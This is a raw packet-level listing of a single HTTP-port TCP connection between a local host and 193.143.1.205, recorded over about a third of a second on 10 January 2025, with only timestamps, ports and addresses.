Jan 10, 2025 23:34:32.738487959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.738518000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.739306927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.739331007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.739351034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.739362955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.739376068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.739382982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.739419937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.740269899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.740292072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.740304947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.740317106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.740329981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.740338087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.740355015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.741117954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741131067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741142988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741158009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741172075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741177082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.741209984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.741245985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.741940975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741955996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741967916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.741978884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.742012024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.742044926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.808489084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.808511972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.808572054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.846458912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.846482038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.846493959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.846504927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.846517086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.846530914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.846597910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860373974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860416889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860486031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860496044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860543966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860562086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860598087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860655069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860707045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860719919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860742092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860759020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860774994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860809088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860861063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860873938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860898972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860912085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.860932112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.860966921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861017942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861036062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861071110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861073017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861104965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861161947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861162901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861196041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861231089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861263037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861285925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861296892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861325026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861330986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861365080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861383915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861398935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861433983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861462116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861601114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861635923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861671925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861689091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861722946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861747026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861757994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861789942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861819029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861825943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861859083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861892939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861908913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861926079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861949921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.861960888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.861994028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862031937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862049103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862096071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862193108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862246990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862279892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862329960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862329960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862366915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862385988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862400055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862432957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862463951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862487078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862521887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862543106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862555981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862590075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862624884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862647057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862684011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.862919092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862952948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.862987041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.863019943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.863039970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.863079071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.863080978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.863116026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.863420010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.866359949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.866409063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.866445065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.866480112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.866493940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.866537094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.866945028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.866998911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867033958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867065907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867091894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.867117882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867127895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.867151976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867186069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867218971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867239952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.867254019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867274046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.867285013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.867335081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.868434906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.875231028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.895234108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.895252943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.895266056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.895279884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.895339012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.933306932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933356047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933435917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933473110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933505058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933511019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.933538914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933561087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.933578968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933594942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.933614016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933645964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933669090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.933681965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933729887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.933732033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933767080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.933814049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.947232962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947309017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947367907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947402954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947443962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.947504044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947521925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947541952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.947638988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.971215963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971262932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971286058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.971339941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971376896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971410990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971434116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.971443892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971473932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.971477032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971510887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971529007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971565008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971565962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.971601963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.971651077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985162973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985194921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985251904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985286951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985301971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985343933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985363960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985397100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985424995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985472918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985475063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985519886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985528946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985583067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985620022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985631943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985677958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985730886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985763073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985779047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985816956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985830069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985858917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985913992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985955954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.985974073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.985989094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986016035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986038923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986072063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986088991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986126900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986176968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986181974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986234903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986263990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986296892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986318111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986349106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986357927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986399889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986453056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986485004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986506939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986520052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986548901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986553907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986588001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986620903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986620903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986659050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986690998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986721039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986726046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986753941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986759901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986785889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986810923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986819029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986851931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986870050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986886024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986923933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986948967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.986958027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.986990929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987011909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.987034082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987067938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987102985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987114906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.987137079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987154961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.987170935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987202883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987224102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.987240076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.987596035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992077112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992146015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992202044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992235899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992266893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992289066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992309093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992322922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992367029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992388010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992422104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992455006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992464066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992486954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992537022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992539883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992592096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992625952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992652893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992680073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992716074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992727995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992748976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992783070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992799044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992835045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992868900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992880106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992911100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.992918968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992954969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.992973089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993005991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993040085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993067980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993094921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993100882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993127108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993134975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993169069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993201971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993221045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993254900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993264914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993305922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993340015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993374109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993386030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993407011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993426085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993439913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993473053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993509054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993520975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993551970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993571997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993593931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993626118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993647099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.993660927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993695021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.993714094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.001022100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020243883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020289898 CET	80	49730	193.143.1.205	192.168.2.4
